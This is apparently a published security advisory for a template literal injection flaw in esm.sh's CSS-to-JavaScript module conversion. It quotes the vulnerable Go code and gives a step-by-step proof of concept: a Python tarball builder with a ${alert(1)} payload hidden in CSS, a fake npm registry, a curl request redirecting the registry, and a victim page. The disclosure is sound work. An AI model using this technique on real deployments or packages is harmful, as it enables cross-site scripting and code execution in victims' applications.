esm.sh CDN service has JS Template Literal Injection in CSS-to-JavaScript

Description

Summary

The esm.sh CDN service contains a Template Literal Injection vulnerability (CWE-94) in its CSS-to-JavaScript module conversion feature.

When a CSS file is requested with the ?module query parameter, esm.sh converts it to a JavaScript module by embedding the CSS content directly into a template literal without proper sanitization.

An attacker can inject malicious JavaScript code using ${...} expressions within CSS files, which will execute when the module is imported by victim applications. This enables Cross-Site Scripting (XSS) in browsers and Remote Code Execution (RCE) in Electron applications.

Root Cause:
The CSS module conversion logic (router.go:1112-1119) performs incomplete sanitization - it only checks for backticks (`) but fails to escape template literal expressions (${...}), allowing arbitrary JavaScript execution when the CSS content is inserted into a template literal string.

Details

File: server/router.go
Lines: 1112-1119

// Convert CSS to JavaScript module when ?module query is present
if pathKind == RawFile && strings.HasSuffix(esm.SubPath, ".css") && query.Has("module") {
    filename := path.Join(npmrc.StoreDir(), esm.Name(), "node_modules", esm.PkgName, esm.SubPath)
    css, err := os.ReadFile(filename)
    if err != nil {
        return rex.Status(500, err.Error())
    }

    buf := bytes.NewBufferString("/* esm.sh - css module */\n")
    buf.WriteString("const stylesheet = new CSSStyleSheet();\n")

    if bytes.ContainsRune(css, '`') {
        // If backtick exists: JSON encode (SAFE)
        buf.WriteString("stylesheet.replaceSync(`")
        buf.WriteString(strings.TrimSpace(string(utils.MustEncodeJSON(string(css)))))
        buf.WriteString(");\n")
    } else {
        // If no backtick: Direct insertion (VULNERABLE!)
        buf.WriteString("stylesheet.replaceSync(`")
        buf.Write(css)  // ← CSS inserted into template literal without sanitization!
        buf.WriteString("`);\n")
    }

    buf.WriteString("export default stylesheet;\n")
    ctx.SetHeader("Content-Type", ctJavaScript)
    return buf
}

When CSS does not contain backticks, the code directly inserts the raw CSS content into a JavaScript template literal without escaping ${...} expressions.
Template literals in JavaScript evaluate expressions within ${...}, causing any such expressions in the CSS to execute as JavaScript code.

PoC

Step 1. Create Malicious Package (tar)

import tarfile
import io
import json
from datetime import datetime

# Malicious CSS with template literal injection
evil_css = b"""
body {
  background-color: #ffffff;
  color: #333333;
}

.container {
  max-width: 1200px;
  margin: 0 auto;
}

/* js payload */
${alert(1)} 

/* More CSS to appear legitimate */
.footer {
  margin-top: 20px;
  padding: 10px;
}
"""

files = {
    "package/index.js": b"module.exports = { version: '1.0.0' };",
    "package/package.json": json.dumps({
        "name": "test-css-injection",
        "version": "1.0.0",
        "description": "Test package for CSS injection",
        "main": "index.js"
    }, indent=2).encode(),

    # Malicious CSS file
    "package/poc.css": evil_css,
}

with tarfile.open("test-css-injection-1.0.0.tgz", "w:gz") as tar:
    for name, content in files.items():
        info = tarfile.TarInfo(name=name)
        info.size = len(content)
        info.mode = 0o644
        info.mtime = int(datetime.now().timestamp())
        tar.addfile(info, io.BytesIO(content))

print("Malicious CSS tarball created - test-css-injection-1.0.0.tgz")

Step 2. Run Fake Registry Server

# fake-npm-registry.py
from flask import Flask, jsonify, send_file

app = Flask(__name__)

MALICIOUS_TARBALL = "/tmp/test-css-injection-1.0.0.tgz" # HERE MALICIOUS TAR PATH
REGISTRY_URL = "http://host.docker.internal:9999" # HERE FAKE REGISTRY SERVER

@app.route('/<package>')
def get_metadata(package):
    return jsonify({
        "name": package,
        "versions": {
            "1.0.0": {
                "name": package,
                "version": "1.0.0",
                "dist": {
                    "tarball": f"{REGISTRY_URL}/{package}/-/{package}-1.0.0.tgz"
                }
            }
        },
        "dist-tags": {"latest": "1.0.0"}
    })

@app.route('/<package>/-/<filename>')
def get_tarball(package, filename):
    return send_file(MALICIOUS_TARBALL, mimetype='application/gzip')

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=9999)
python3 fake-npm-registry.py

> Note: I used a fake server for convenience here, but you can also use the official registry (npm, github, etc.)

Step 3. Request Malicious Package with X-Npmrc Header (File Upload)

curl "http://localhost:8080/[email protected]" \
  -H 'X-Npmrc: {"registry":"http://host.docker.internal:9999/"}'

Step 4. Check Cross-site Script (alert(1))

<!DOCTYPE html>
<html>
<head>
    <meta charset="UTF-8">
    <title>CSS Injection Victim Page</title>
</head>
<body>
    <script type="module">
        // esm.sh import
        import styles from "http://localhost:8080/[email protected]/poc.css?module";

        console.log('Styles loaded:', styles);
    </script>
</body>
</html>

<img width="1414" height="238" alt="image" src="https://github.com/user-attachments/assets/acf00a7b-cad2-4af0-8885-9ba2433ba9fb" />

in esm.sh Playground

<img width="1568" height="502" alt="image" src="https://github.com/user-attachments/assets/b2cd56a9-930e-4e64-a05c-5df02682c897" />

Impact

Can execute arbitrary JavaScript.
This can sometimes lead to remote code execution.
(Electron App, Deno App, ...)

Basic information

Type
reviewed
Severity
medium
Advisory on GitHub
Open advisory ↗
Repository advisory
Open repository advisory ↗
Source code
Browse source ↗
Published (advisory)
2025-11-19 20:31:55 UTC
Updated
2025-11-27 08:30:43 UTC
GitHub reviewed
2025-11-19 20:31:55 UTC
NVD published
2025-11-19

EPSS Score

Score Percentile
0.01% 3.00%

CVSS Scores

Base score Version Severity Vector
6.1 3.1
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N Click to expand
Attack vector (AV:N)
Could be attacked over the internet or any normal routed network—not just someone sitting at the machine.
Attack complexity (AC:L)
Once they can reach the bug, pulling it off is straightforward—no weird race conditions or rare setup.
Privileges required (PR:N)
No account or special rights needed—anonymous or random user is enough.
User interaction (UI:R)
A real person has to do something—click, install, enable—otherwise it doesn’t land.
Scope (S:C)
Breaking this can reach past the original component and bite other resources—bigger blast radius.
Confidentiality (C:L)
Some sensitive info could get out, but not a total data dump.
Integrity (I:L)
Attackers could change some data, but it’s limited—not everything goes.
Availability (A:N)
Service keeps running; no real outage angle.

Identifiers

CWEs

CWE id Name
CWE-94 Improper Control of Generation of Code ('Code Injection')

Credits

  • pyozzi-toss (reporter)

Affected packages (1)

Vulnerable version ranges and first patched releases as published by GitHub.

Ecosystem Package Vulnerable range First patched Vulnerable functions
go github.com/esm-dev/esm.sh < 0.0.0-20251118065157-87d2f6497574 0.0.0-20251118065157-87d2f6497574

References

cvelogic Threat Intelligence